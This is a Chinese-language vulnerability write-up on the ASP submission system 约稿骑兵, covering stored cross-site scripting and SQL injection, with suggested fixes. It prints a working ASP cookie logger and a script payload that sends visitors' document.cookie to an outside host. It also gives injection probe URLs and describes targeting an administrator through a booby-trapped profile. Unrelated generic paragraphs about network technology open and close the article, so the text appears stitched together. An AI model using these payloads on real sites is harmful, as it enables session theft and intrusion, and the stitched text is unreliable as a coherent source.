网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
约稿奇兵存在大量漏洞描述: 约稿骑兵是由劲风独立开发与维护的一个集作者投稿、编辑审稿、稿费管理等诸多有创意的功能为一体的ASP程序。由于大量文件没有对提交的表单进行字符过滤。导致非法用户可提交精心构造的语句执行跨站
脚本,致使浏览者中木马、信息泄露、重则格式化硬盘。其二,由于view_pf.asp文件没有过滤用户提交传递给
SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL Injection攻击,获取任意用户的密码。ASP版的约稿骑兵劲风已经停止开发了,取而代之的是用ASP.NET开发的约稿通,预计将在2004年7月份发布,大家拭目以待吧,相信劲风能给我们带来更大的惊喜。检测过程: 一、跨站脚本攻击
既然是瞎子摸象式的测试这个未公开的约稿骑兵,说明会有蛮多这样那样的漏洞。比如:脚本问题,最简单的,用“'”和“;”以及“>”作为用户名注册,系统并没有提示禁止提交非法字符,于是用“<script>alert();</script>”为用户名注册。可惜,单表域限制了字符数量,这样就可以限制字符长度了?呵呵,但愿没有禁止从外部提交数据。于是做一个注册页,将form action指向该站点注册页,果然注册成功,提交的时侯发现,该站点有两种会员可以注册,一种是直接注册的(作者),一种是注册后要管理员验证才可以使用的(编辑),刚才注册的只是个作者,这次注册编辑看看。仍然按刚才的方法,注册了会员<script>alert('1');</script>提交到最后,系统给出了提示:您已经注册成功。而空过两行后又出现,您注册的用户名里含有'<等非法字符,请重新注册。这里又是程序上的一个BUG,过滤没有完全实现,先不管那么多,进入看看里面的东西如何。 进入后,先到会员列表查看会员,果然弹出对话框两个,想要的效果实现了,这样跨站攻击就可以实现了。进入修改自己的资料中,里面各种资料要填写的很多。于是......尝试了一下真实地址栏里填写“<script>alert();</script>”确认。再查看地址,又有对话框了,这就成了,不用想了,整个站点这个问题根本没有解决好。 在前面我们已经说过,还有编辑注册后是需要管理人员认证才可能通过验证的。这就...嘿嘿...于是注册用户名test,呵呵,为什么不直接取?不能叫管理员怀疑嘛,叫他进去后再后悔.在注册会员资料里好好的构造了一番。地址栏取COOKIES转载打印到其他站点的某个文本文件(这里就不多说了):取COOKIES原码如下: <%
testfile=Server.MapPath("fqytest.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
<script>window.location(http://www.e3i5.com');</script> 将以上代码保存为ASP文件就可以了,然后填入以下代码就可以开始收集Cookie啦。 <img src="
javascript:window.open(http://youromain/cookie.php?'+document.cookie)"> 至于如何令浏览用户被格式化。大家还是去看看相关的文章吧。还是利用javascript。由于危害太大。代码不省略了…… 二、SQL Injection攻击
除了上面所说的跨站脚本攻击外。就是这个SQL Injection漏洞了。手工检测。发现这个漏洞存在于xuanti_xiugai1.asp(选题查询)、view_pf.asp(会员查询)两个文件,看来检查了提交的字符中是否有单引号和分号。检查的过程可能有些不同。但还是差不多的。尽管过滤了两个那特殊字符。但系统是access数据库的,仅过滤这两个字符根本不能拦住攻击者。因为这两个文件没有过滤空格,我们照样玩SQL Injection。提交: xuanti_xiugai1.asp?xuan_id=56 and 1=1
//正常显示
xuanti_xiugai1.asp?xuan_id=56 and 1=2
//警告:你正在企图非法浏览别人的选题
view_pf.asp?id=74 and 1=1
//正常显示
view_pf.asp?id=74 and 1=2
//资料全部显示空 好了。知道该做什么了吗?跨表查询。这可是access数据库最常用的SQL Injection攻击方法了。关于详细的攻击方法,大家可以参考PsKey的《SQL Injection whit access》和我的《一个跨表查询的例子》都很详细。我们此次任务是检测程序的安全性。目的已经达到了。
感谢风清扬的参与。 解决方案:关于这个约稿骑兵的防范方法也和许多程序一样。都是很普遍的问题——过滤字符。 第一个问题就是跨站脚本攻击,由于没有进行脚本过滤。导致可以构造特殊html代码进行攻击,所以我们应该加上过滤的代码来过滤:HTMLEncode(加你的引用函数名) 如: HTMLEncode(&username) 就可以简单的屏蔽脚本攻击了。另外,对于跨站和外部提交的问题,对提交文件如post.asp,reg.asp等等文件加一个检验就可以了。
代码如下: if instr(request.servervariables("http_referer"),"e3i5")<1 then
response.redirect "index.asp"
end if
'e3i5 为你所用站点的域名私有部分.当然也可以使用地址连接里有的的字符串,都可以用.
'或
if instr(request.servervariables("http_referer"),"http://"&request.servervariables("host") )<1 then
response.redirect "index.asp"
end if 另外,可以参考一下动网的char.asp文件。 第二个问题就是SQL Injection攻击,有人认为SQL Injection攻击千变万化。难以防范。况且现在牛人这么多。其实再怎么灵活的技术,只要对用户提交的变量进行了完整的过滤,都不可能有问题。至于防范方法嘛方法太多了。给出一段我一直用的代码: dim id
id=replace(request("id")," ","")
if isnumeric(id)=0 or id="" then
response.write "禁止提交非法语句!"
response.end
end if 放在文件前面就可以检查提交的变量id了。方法实在太多,所以我就不说了。从理论上来说,对用户提交的变量。只能是字母和数字。所以程序要尽可能多过滤一些非法字符。单引号、双引号、分号、空格、<、>等。
这次检测也结束了,程序不可能很完美,我的水平也有限。直觉上这个程序的BUG应该还有。如果能把刚才所发现的漏洞修补好。在瞎子摸象的情况下。已经是相当难更深入了。因为至始至终我们都没有得看到程序源代码和数据库的结构。
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……